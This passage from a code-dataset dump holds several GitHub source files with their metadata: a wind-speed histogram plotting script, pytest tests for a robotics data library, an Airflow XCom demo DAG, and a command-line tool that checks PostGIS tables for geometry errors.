"line_number": 88, "usage_type": "call"}]} {"seq_id": "11917334127", "text": "\n\nimport xarray as xr\nimport pandas as pd\nimport numpy as np \nimport matplotlib.pyplot as plt\nfrom scipy import stats\nfrom parameters import parameters\nVMAX=0.2\ndef big_histogram(ds, column_x, column_y, xedges, yedges, bins=100):\n #xedges = [np.inf, -np.inf]\n #yedges = [np.inf, -np.inf]\n \n \n #xedges[0] = np.minimum(ds[column_x].min().item(), xedges[0])\n #xedges[1] = np.maximum(ds[column_x].max().item(), xedges[1])\n \n #yedges[0] = np.minimum(ds[column_y].min().item(), yedges[0])\n #yedges[1] = np.maximum(ds[column_y].max().item(), yedges[1])\n \n xbins = np.linspace(xedges[0], xedges[1], bins+1)\n ybins = np.linspace(yedges[0], yedges[1], bins+1)\n heatmap = np.zeros((bins, bins), np.uint)\n \n df=ds[[column_x, column_y]].to_dataframe().reset_index().dropna()\n \n heatmap, _, _ = np.histogram2d(\n df[column_x].values, df[column_y].values, bins=[xbins, ybins])\n heatmap = 100*heatmap/np.sum(heatmap)\n extent = [xedges[0], xedges[-1], yedges[0], yedges[-1]]\n return heatmap.T, extent\n\n\n\n\ndef hist_unit(ds, label1, label2, ax, xedges, yedges):\n hist,edges=big_histogram(ds, label1, label2, xedges, yedges)\n im = ax.imshow(hist, vmin=0, vmax=1.5e-1, extent=edges,aspect='auto',origin='lower', cmap='CMRmap_r')\n return ax, im \n \ndef ax_compute(ax,var,edges,ds, df, letter, alg, is_amv):\n ax, im =hist_unit(ds,var, var+'_era5', ax,edges,edges)\n if is_amv:\n ax.set_ylabel(r'$\\mathrm{'+var+'}_{\\mathrm{ERA 5}}$')\n ax.set_xlabel(r'$\\mathrm{'+var+'}_{\\mathrm{'+alg+'}}$')\n r=df['r'].loc[df['var']==var].values.item()\n ax.text(0.7,0.5,'r = ' + str(round(r,2)),transform=ax.transAxes)\n ax.text(0.1,0.7,letter,transform=ax.transAxes)\n return im\n\n\ndef multiple_panel_hist(label, ds_rand,ds_tvl1, df_rand, df_tvl1):\n fig, axes = plt.subplots(nrows=2, ncols=1)\n axlist = axes.flat\n im=ax_compute(axlist[0],'speed',[0,30],ds_tvl1,df_tvl1,'(a)','AMV', True)\n ax_compute(axlist[1],'speed',[0,30],ds_rand,df_rand,'(b)','rand', False)\n \n #ax_compute(axlist[2],'u',[-15,15],ds_tvl1,df_tvl1,'(c)','AMV', True)\n #ax_compute(axlist[3],'u',[-15,15],ds_rand,df_rand,'(d)','rand', False)\n \n #ax_compute(axlist[4],'v',[-15,15],ds_tvl1,df_tvl1,'(e)','AMV', True)\n #ax_compute(axlist[5],'v',[-15,15],ds_rand,df_rand,'(f)','rand', False)\n cbar_ax = fig.add_axes([0.12, -0.07, 0.77, 0.05])\n fig.colorbar(im, cax=cbar_ax, orientation='horizontal', label='percent')\n \n plt.tight_layout()\n #fig.subplots_adjust(hspace=0.15)\n\n plt.savefig('../data/processed/plots/2d_hist_'+ label+'.png', bbox_inches='tight', dpi=500)\n plt.show()\n plt.close()\n \n \n\n\n\ndef compute_corr(ds):\n corrs={'var':[],'r':[]}\n\n r=xr.corr(ds['speed'],ds['speed_era5']).item()\n corrs['var'].append('speed')\n corrs['r'].append(r)\n \n r=xr.corr(ds['u'],ds['u_era5']).item()\n corrs['var'].append('u')\n corrs['r'].append(r)\n \n r=xr.corr(ds['v'],ds['v_era5']).item()\n corrs['var'].append('v')\n corrs['r'].append(r)\n \n df=pd.DataFrame(data=corrs)\n \n return df\n \ndef compute(param):\n print('computing corr')\n ds = xr.open_dataset('../data/processed/'+param.tag+'.nc')\n \n ds=ds.sel(satellite='j1')\n ds['speed']=np.sqrt(ds.u**2 + ds.v**2)\n ds['speed_era5']=np.sqrt(ds.u_era5**2 + ds.v_era5**2)\n \n df= compute_corr(ds)\n return ds, df \n \ndef main(param):\n \n param.set_alg('rand')\n ds_rand, df_rand=compute(param)\n \n param.set_alg('tvl1')\n ds_tvl1, df_tvl1=compute(param)\n multiple_panel_hist(param.tag, ds_rand,ds_tvl1, df_rand, df_tvl1)\n \nif __name__ == '__main__':\n param=parameters()\n param.set_plev_coarse(5) \n param.set_timedelta(6)\n param.set_Lambda(0.15)\n main(param)\n \n\n \n \n ", "repo_name": "aouyed/3d-amvs", "sub_path": "src/2d_histogram.py", "file_name": "2d_histogram.py", "file_ext": "py", "file_size_in_byte": 3842, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.linspace", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.uint", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.histogram2d", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "xarray.corr", "line_number": 80, "usage_type": "call"}, {"api_name": "xarray.corr", "line_number": 84, "usage_type": "call"}, {"api_name": "xarray.corr", "line_number": 88, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 92, "usage_type": "call"}, {"api_name": "xarray.open_dataset", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 102, "usage_type": "call"}, {"api_name": "parameters.parameters", "line_number": 117, "usage_type": "call"}]} {"seq_id": "28115696155", "text": "import hashlib\nimport pytest\nimport numpy as np\nimport torch\nimport copy\n\nfrom mimic.datatype import CommandDataSequence\nfrom mimic.datatype import CommandDataChunk\nfrom mimic.datatype import ImageDataChunk\nfrom mimic.datatype import ImageCommandDataChunk\nfrom mimic.datatype import AugedImageCommandDataChunk\nfrom mimic.models import ImageAutoEncoder\nfrom mimic.robot import KukaSpec\n\ndef test_dataseq_slice():\n seq = CommandDataSequence(np.zeros((10, 3)))\n new_seq = seq.get_segment(slice(0, 3))\n assert new_seq.data.shape == (3, 3)\n\n@pytest.fixture(scope='session')\ndef cmd_datachunk():\n chunk = CommandDataChunk()\n for i in range(10):\n seq = np.zeros((20, 7))\n chunk.push_epoch(seq)\n return chunk\n\ndef test_datasplit(cmd_datachunk):\n chunk: CommandDataChunk = cmd_datachunk\n chunk1, chunk2 = chunk.split(2)\n assert len(chunk1) == 2\n assert len(chunk2) == 8\n\n_img_chunk_uneven_n = 2\n@pytest.fixture(scope='session')\ndef image_datachunk():\n n_seq = 100\n n_channel = 3\n n_pixel = 28\n chunk = ImageDataChunk()\n for i in range(10):\n if i==9:\n n_seq = n_seq + _img_chunk_uneven_n # to test uneven dataset \n imgseq = np.random.randn(n_seq, n_pixel, n_pixel, n_channel)\n chunk.push_epoch(imgseq)\n return chunk\n\n@pytest.fixture(scope='session')\ndef image_datachunk_with_encoder():\n n_seq = 100\n n_channel = 3\n n_pixel = 28\n ae = ImageAutoEncoder(torch.device('cpu'), 16, image_shape=(n_channel, n_pixel, n_pixel))\n chunk = ImageDataChunk(encoder=ae.get_encoder())\n for i in range(9):\n imgseq = np.random.randn(n_seq, n_pixel, n_pixel, n_channel)\n chunk.push_epoch(imgseq)\n imgseq = np.random.randn(n_seq-2, n_pixel, n_pixel, n_channel) # to test autoregressive\n chunk.push_epoch(imgseq)\n\n fi = chunk.get_feature_info()\n assert fi.n_img_feature == 16\n assert fi.n_cmd_feature == 0\n assert fi.n_aug_feature == 0\n return chunk\n\n@pytest.fixture(scope='session')\ndef image_command_datachunk_with_encoder():\n n_seq = 100\n n_channel = 3\n n_pixel = 28\n ae = ImageAutoEncoder(torch.device('cpu'), 16, image_shape=(n_channel, n_pixel, n_pixel))\n chunk = ImageCommandDataChunk(encoder=ae.get_encoder())\n for i in range(10):\n imgseq = np.random.randn(n_seq, n_pixel, n_pixel, n_channel)\n cmdseq = np.random.randn(n_seq, 7)\n chunk.push_epoch((imgseq, cmdseq))\n\n fi = chunk.get_feature_info()\n assert fi.n_img_feature == 16\n assert fi.n_cmd_feature == 7\n assert fi.n_aug_feature == 0\n\n return chunk\n\ndef test_dump_load(cmd_datachunk):\n cmd_datachunk.dump(\"test\")\n chunk = CommandDataChunk.load(\"test\")\n\ndef test_featureseq_list_generation_pipeline(cmd_datachunk):\n fslist = cmd_datachunk.to_featureseq_list()\n assert len(fslist) == 10\n assert list(fslist[0].size()) == [20, 7]\n\ndef test_set_encoder(image_datachunk):\n chunk: ImageDataChunk = copy.deepcopy(image_datachunk)\n flist = chunk.to_featureseq_list()\n assert len(flist[0].shape) == 4\n\n n_seq = 100\n n_channel = 3\n n_pixel = 28\n ae = ImageAutoEncoder(torch.device('cpu'), 16, image_shape=(n_channel, n_pixel, n_pixel))\n assert not chunk.has_encoder\n chunk.set_encoder(ae.get_encoder())\n assert chunk.has_encoder\n flist = chunk.to_featureseq_list()\n assert len(flist[0].shape) == 2\n\ndef test_image_featureseq_list_generateion_pipeline(image_datachunk, image_datachunk_with_encoder):\n fslist = image_datachunk_with_encoder.to_featureseq_list()\n assert len(fslist[0].size()) == 2\n assert list(fslist[0].size()) == [100, 16]\n\n fslist = image_datachunk.to_featureseq_list()\n assert len(fslist[0].size()) == 4\n assert list(fslist[0].size()) == [100, 3, 28, 28]\n\ndef test_image_command_datachunk_with_encoder_pipeline(image_command_datachunk_with_encoder):\n fslist = image_command_datachunk_with_encoder.to_featureseq_list()\n assert list(fslist[0].size()) == [100, 16 + 7]\n\n@pytest.fixture(scope='session')\ndef auged_image_command_datachunk(image_command_datachunk_with_encoder):\n chunk_other: ImageCommandDataChunk = image_command_datachunk_with_encoder\n chunk = AugedImageCommandDataChunk.from_imgcmd_chunk(chunk_other, KukaSpec())\n\n fi = chunk.get_feature_info()\n assert fi.n_img_feature == 16\n assert fi.n_cmd_feature == 7\n assert fi.n_aug_feature == KukaSpec().n_out\n\n return chunk\n\ndef test_auged_image_command_datachunk_pipeline(auged_image_command_datachunk):\n fslist = auged_image_command_datachunk.to_featureseq_list()\n assert list(fslist[0].size()) == [100, 16 + 7 + 6]\n", "repo_name": "HiroIshida/mimic", "sub_path": "tests/test_datatypes.py", "file_name": "test_datatypes.py", "file_ext": "py", "file_size_in_byte": 4615, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "mimic.datatype.CommandDataSequence", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "mimic.datatype.CommandDataChunk", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 24, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "call"}, {"api_name": "mimic.datatype.CommandDataChunk", "line_number": 29, "usage_type": "name"}, {"api_name": "mimic.datatype.ImageDataChunk", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 35, "usage_type": "call"}, {"api_name": "mimic.models.ImageAutoEncoder", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 53, "usage_type": "call"}, {"api_name": "mimic.datatype.ImageDataChunk", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 48, "usage_type": "call"}, {"api_name": "mimic.models.ImageAutoEncoder", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 72, "usage_type": "call"}, {"api_name": "mimic.datatype.ImageCommandDataChunk", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 75, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 67, "usage_type": "call"}, {"api_name": "mimic.datatype.CommandDataChunk.load", "line_number": 88, "usage_type": "call"}, {"api_name": "mimic.datatype.CommandDataChunk", "line_number": 88, "usage_type": "name"}, {"api_name": "mimic.datatype.ImageDataChunk", "line_number": 96, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 96, "usage_type": "call"}, {"api_name": "mimic.models.ImageAutoEncoder", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 103, "usage_type": "call"}, {"api_name": "mimic.datatype.ImageCommandDataChunk", "line_number": 125, "usage_type": "name"}, {"api_name": "mimic.datatype.AugedImageCommandDataChunk.from_imgcmd_chunk", "line_number": 126, "usage_type": "call"}, {"api_name": "mimic.datatype.AugedImageCommandDataChunk", "line_number": 126, "usage_type": "name"}, {"api_name": "mimic.robot.KukaSpec", "line_number": 126, "usage_type": "call"}, {"api_name": "mimic.robot.KukaSpec", "line_number": 131, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 123, "usage_type": "call"}]} {"seq_id": "41770314042", "text": "from datetime import datetime\n\nfrom airflow import DAG\nfrom airflow.operators.empty import EmptyOperator\nfrom airflow.operators.bash import BashOperator\nfrom airflow.operators.python import PythonOperator\nfrom airflow.utils.trigger_rule import TriggerRule\n\ndef print_last_result(**context):\n data = context['ti'].xcom_pull(task_ids='2_second_task')\n print(f'Output of previous task: {data}')\n\nwith DAG(dag_id=\"10_xcoms\",\n description=\"Using bash operator\",\n schedule_interval=\"@daily\",\n start_date=datetime(2023, 4, 23),\n end_date=datetime(2023, 4, 25),\n max_active_runs=1) as dag:\n\n t0 = EmptyOperator(task_id=\"empty_1\",\n trigger_rule=TriggerRule.ONE_FAILED)\n\n t1 = BashOperator(task_id=\"1_first_task\",\n bash_command=\"sleep 1 && echo $((5*5))\")\n\n t2 = BashOperator(task_id=\"2_second_task\",\n bash_command=\"sleep 1 && echo Output of first task {{ ti.xcom_pull(task_ids='1_first_task') }}\")\n\n t3 = PythonOperator(task_id=\"3_third_task\",\n trigger_rule=TriggerRule.NONE_FAILED,\n python_callable=print_last_result)\n\n t4 = EmptyOperator(task_id=\"empty_2\",\n trigger_rule=TriggerRule.ONE_FAILED)\n\n t1 >> t2 >> t0 >> t3 >> t4", "repo_name": "santiagortiiz/Apache-Airflow-Foundations", "sub_path": "dags/10 xcoms.py", "file_name": "10 xcoms.py", "file_ext": "py", "file_size_in_byte": 1312, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "airflow.DAG", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "call"}, {"api_name": "airflow.operators.empty.EmptyOperator", "line_number": 20, "usage_type": "call"}, {"api_name": "airflow.utils.trigger_rule.TriggerRule.ONE_FAILED", "line_number": 21, "usage_type": "attribute"}, {"api_name": "airflow.utils.trigger_rule.TriggerRule", "line_number": 21, "usage_type": "name"}, {"api_name": "airflow.operators.bash.BashOperator", "line_number": 23, "usage_type": "call"}, {"api_name": "airflow.operators.bash.BashOperator", "line_number": 26, "usage_type": "call"}, {"api_name": "airflow.operators.python.PythonOperator", "line_number": 29, "usage_type": "call"}, {"api_name": "airflow.utils.trigger_rule.TriggerRule.NONE_FAILED", "line_number": 30, "usage_type": "attribute"}, {"api_name": "airflow.utils.trigger_rule.TriggerRule", "line_number": 30, "usage_type": "name"}, {"api_name": "airflow.operators.empty.EmptyOperator", "line_number": 33, "usage_type": "call"}, {"api_name": "airflow.utils.trigger_rule.TriggerRule.ONE_FAILED", "line_number": 34, "usage_type": "attribute"}, {"api_name": "airflow.utils.trigger_rule.TriggerRule", "line_number": 34, "usage_type": "name"}]} {"seq_id": "8301188648", "text": "\"\"\"Main program for postgis controls.\n\nExamples:\n $python main.py -h.\n $python main.py test_vector_db invalid_geoms test_user test_password output\n --host local-data-server --rule invalid.\n $python main.py test_vector_db duplicate_geoms test_user test_password output\n --host local-data-server --rule duplicate.\n $python main.py test_vector_db multipart_geoms test_user test_password output\n --host local-data-server --rule multipart.\n $python main.py test_vector_db null_geoms test_user test_password output\n --host local-data-server --rule null.\n\"\"\"\nimport os\nimport sys\nimport argparse\nimport gettext\nimport logging\n# add top level package to path\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))))\n#pylint: disable=wrong-import-position\nfrom controls.postgis_controls.enums import Rule\nfrom controls.postgis_controls.pgdb import (\n PGDBManager, PGDBManagerError, PGDBConnection, PGDBCredentials\n)\nfrom controls.commons_controls.file import (\n FileManager, FileManagerError, read_json_file\n)\nfrom controls.commons_controls.time import TimeManager, get_str_time\n#pylint: enable=wrong-import-position\n_ = gettext.gettext\n# logging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__) # pylint: disable=C0103\n\ndef get_args():\n \"\"\" Return arguments from input. \"\"\"\n parser = argparse.ArgumentParser(\n description=_(\n 'check if all tables in a schema comply or not with selected rules'\n )\n )\n parser.add_argument('dbname', help=_('database name'))\n parser.add_argument('dbschema', help=_('database schema'))\n parser.add_argument('user', help=_('database user'))\n parser.add_argument('password', help=_('database password'))\n parser.add_argument('output', help=_('output folder'))\n parser.add_argument(\n '--host',\n default='localhost',\n help=_('database host')\n )\n parser.add_argument(\n '--port',\n type=int,\n default=5432,\n help=_('database port')\n )\n parser.add_argument(\n '--rule',\n choices=[\n Rule.invalid.value,\n Rule.duplicate.value,\n Rule.multipart.value,\n Rule.intersect.value,\n Rule.null.value,\n Rule.aall.value\n ],\n default=Rule.aall.value,\n help=_('rule')\n )\n parser.add_argument(\n '--summary',\n default='resumen.txt',\n help=_('summary file name'))\n parser.add_argument(\n '--admissibles',\n help=_('admissible intersections file name'))\n args = parser.parse_args()\n return args\n\ndef init_file_manager(out_dir, rule):\n \"\"\" Helper function to initialize the file manager, and create output folders.\n\n Args:\n out_dir: Folder path to output result files.\n rule: Name to create sub folder to output result files.\n\n Returns:\n A FileManager object to handle all file and folder operations.\n \"\"\"\n fman = None\n try:\n fman = FileManager(out_dir, '.')\n if rule in (Rule.invalid.value, Rule.aall.value):\n fman.add_dir(Rule.invalid.value)\n if rule in (Rule.duplicate.value, Rule.aall.value):\n fman.add_dir(Rule.duplicate.value)\n if rule in (Rule.multipart.value, Rule.aall.value):\n fman.add_dir(Rule.multipart.value)\n if rule in (Rule.null.value, Rule.aall.value):\n fman.add_dir(Rule.null.value)\n if rule == Rule.intersect.value:\n fman.add_dir(Rule.intersect.value)\n except FileManagerError as err:\n logger.error('%s: %s', _('ERROR'), str(err), exc_info=True)\n fman = None\n return fman\n\ndef init_logging():\n \"\"\" Helper function to initialize logging.\"\"\"\n logger.setLevel(logging.INFO)\n # create a file handler\n handler = logging.FileHandler('{}.log'.format(get_str_time()))\n handler.setLevel(logging.INFO)\n # create a logging format\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n handler.setFormatter(formatter)\n # add the file handler to the logger\n logger.addHandler(handler)\n\n\ndef init_pgdb(host, port, dbname, username, password):\n \"\"\" Helper function to initialize the postgis manager.\n\n Args:\n host: Host of the DBMS.\n port: Port number of the DBMS.\n dbname: Name of the database.\n username: Name of the user.\n password: Password of the user.\n\n Returns:\n A PGDBManager object to handle all database operations.\n \"\"\"\n pgdb = None\n try:\n pgdb = PGDBManager(\n PGDBConnection(host, port, dbname),\n PGDBCredentials(username, password)\n )\n pgdb.connect()\n except PGDBManagerError as err:\n logger.error('%s: %s', _('ERROR'), str(err), exc_info=True)\n pgdb = None\n return pgdb\n\ndef init_summary_data(in_params, num_tables, summary_data):\n \"\"\" Helper procedure to initialize the summary output file.\n\n Args:\n in_params: Input parameters to the program.\n num_tables: Number of tables evaluated.\n summary_data: Summary data dictionary.\n \"\"\"\n summary_data[_('Parameters')] = in_params\n summary_data[_('Number of tables')] = num_tables\n summary_data[Rule.invalid.value] = []\n summary_data[Rule.duplicate.value] = []\n summary_data[Rule.multipart.value] = []\n summary_data[Rule.null.value] = []\n summary_data[Rule.intersect.value] = []\n\ndef end_summary_data(tman, summary_data):\n \"\"\" Helper procedure to update process start and end time of summary data.\n\n Args:\n tman: TimeManager object to get start and end times.\n summary_data: Summary data dictionary.\n \"\"\"\n summary_data[_('Start time')] = tman.dt_start\n summary_data[_('End time')] = tman.dt_end\n\ndef process_result(fman, rule, table, data, keys=None):\n \"\"\" Helper procedure to write control result to detail output file.\n\n Args:\n fman: FileManager object to write detail output file.\n rule: Name of the rule.\n table: Name of the table.\n data: Dictionary with the header and rows for the detail output file.\n keys: Keys of row values to write.\n \"\"\"\n if keys:\n for key in keys:\n if data['rows'][key]:\n fman.write_csv_file(\n rule,\n '{}_{}.csv'.format(table, key),\n data['hrow'],\n data['rows'][key].to_list()\n )\n else:\n fman.write_csv_file(rule, '{}.csv'.format(table), data['hrow'], data['rows'])\n\ndef control_table(man, dbi, control, summary_data):\n \"\"\"Helper procedure to execute a control on a table.\n\n Args:\n man: Dictionary containing FileManager and PGDBManager instances.\n dbi: Dictionary containing schema, table and tables.\n control: Dictionary containing the rule and the admissibles intersections.\n summary_data: Summary data dictionary.\n \"\"\"\n if control['rule'] in (Rule.invalid.value, Rule.aall.value):\n invs = man['pgdb'].get_invalid_geoms_from_table(dbi['dbschema'], dbi['table'])\n if invs:\n process_result(\n man['fman'],\n Rule.invalid.value,\n dbi['table'],\n {\n 'hrow': [_('id'), _('reason'), _('location')],\n 'rows': [inv.to_list() for inv in invs]\n }\n )\n summary_data[Rule.invalid.value].append(dbi['table'])\n if control['rule'] in (Rule.duplicate.value, Rule.aall.value):\n dups = man['pgdb'].get_duplicate_geoms_from_table(dbi['dbschema'], dbi['table'])\n if dups:\n process_result(\n man['fman'],\n Rule.duplicate.value,\n dbi['table'],\n {\n 'hrow': [_('id'), _('amount')],\n 'rows': [dup.to_list() for dup in dups]\n }\n )\n summary_data[Rule.duplicate.value].append(dbi['table'])\n if control['rule'] in (Rule.multipart.value, Rule.aall.value):\n muls = man['pgdb'].get_multipart_geoms_from_table(dbi['dbschema'], dbi['table'])\n if muls:\n process_result(\n man['fman'],\n Rule.multipart.value,\n dbi['table'],\n {\n 'hrow': [_('id'), _('number')],\n 'rows': [mul.to_list() for mul in muls]\n }\n )\n summary_data[Rule.multipart.value].append(dbi['table'])\n if control['rule'] in (Rule.null.value, Rule.aall.value):\n nuls = man['pgdb'].get_null_geoms_from_table(dbi['dbschema'], dbi['table'])\n if nuls:\n process_result(\n man['fman'],\n Rule.null.value,\n dbi['table'],\n {\n 'hrow': [_('id')],\n 'rows': [nul.to_list() for nul in nuls]\n }\n )\n summary_data[Rule.null.value].append(dbi['table'])\n if control['rule'] == Rule.intersect.value:\n i = dbi['tables'].index(dbi['table']) + 1\n if i < len(dbi['tables']):\n ints = man['pgdb'].get_not_allowed_intersection(\n dbi['dbschema'],\n dbi['table'],\n dbi['tables'][i:],\n control['admissibles']\n )\n if ints:\n process_result(\n man['fman'],\n Rule.intersect.value,\n dbi['table'],\n {\n 'hrow': [\n _('table-1'),\n _('table-1-id'),\n _('table-2'),\n _('table-2-id'),\n _('intersection'),\n _('message')\n ],\n 'rows': ints\n },\n ['point', 'line', 'polygon', 'collection']\n )\n summary_data[Rule.intersect.value].append(dbi['table'])\n\ndef main():\n \"\"\"Main procedure.\"\"\"\n init_logging()\n args = get_args()\n fman = init_file_manager(args.output, args.rule)\n if not fman:\n sys.exit()\n pgdb = init_pgdb(\n args.host,\n args.port,\n args.dbname,\n args.user,\n args.password\n )\n if not pgdb:\n sys.exit()\n admissibles = read_json_file(args.admissibles)\n tables = pgdb.get_schema_table_names(args.dbschema)\n tman = TimeManager()\n summary_data = {}\n init_summary_data(' '.join(sys.argv), len(tables), summary_data)\n print('{}...'.format(_('Processing')))\n logger.info('%s...', _('Processing'))\n print('{}...'.format(_('Tables')))\n logger.info('%s:', _('Tables'))\n for table in tables:\n print(' {}'.format(table))\n logger.info(' %s', table)\n control_table(\n {\n 'fman':fman,\n 'pgdb':pgdb\n },\n {\n 'dbschema':args.dbschema,\n 'table':table,\n 'tables':tables,\n },\n {\n 'rule':args.rule,\n 'admissibles':admissibles\n },\n summary_data)\n tman.end()\n end_summary_data(tman, summary_data)\n fman.write_txt_file(args.summary, summary_data)\n print('{}.'.format(_('End')))\n logger.info('%s.', _('End'))\n\nif __name__ == '__main__':\n main()\n", "repo_name": "cabesuon/ideuy_controls", "sub_path": "controls/postgis_controls/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 10217, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.append", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 20, "usage_type": "call"}, {"api_name": "gettext.gettext", "line_number": 31, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 33, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 37, "usage_type": "call"}, {"api_name": "controls.postgis_controls.enums.Rule.invalid", "line_number": 61, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 61, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.duplicate", "line_number": 62, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 62, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.multipart", "line_number": 63, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 63, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.intersect", "line_number": 64, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 64, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.null", "line_number": 65, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 65, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 66, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 66, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 68, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 68, "usage_type": "name"}, {"api_name": "controls.commons_controls.file.FileManager", "line_number": 93, "usage_type": "call"}, {"api_name": "controls.postgis_controls.enums.Rule.invalid", "line_number": 94, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 94, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 94, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule.invalid", "line_number": 95, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 95, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.duplicate", "line_number": 96, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 96, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 96, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule.duplicate", "line_number": 97, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 97, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.multipart", "line_number": 98, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 98, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 98, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule.multipart", "line_number": 99, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 99, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.null", "line_number": 100, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 100, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.aall", "line_number": 100, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule.null", "line_number": 101, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 101, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.intersect", "line_number": 102, "usage_type": "attribute"}, {"api_name": "controls.postgis_controls.enums.Rule", "line_number": 102, "usage_type": "name"}, {"api_name": "controls.postgis_controls.enums.Rule.intersect", "line_number": 103, "usage_type": "attribute"}, {"api_name": 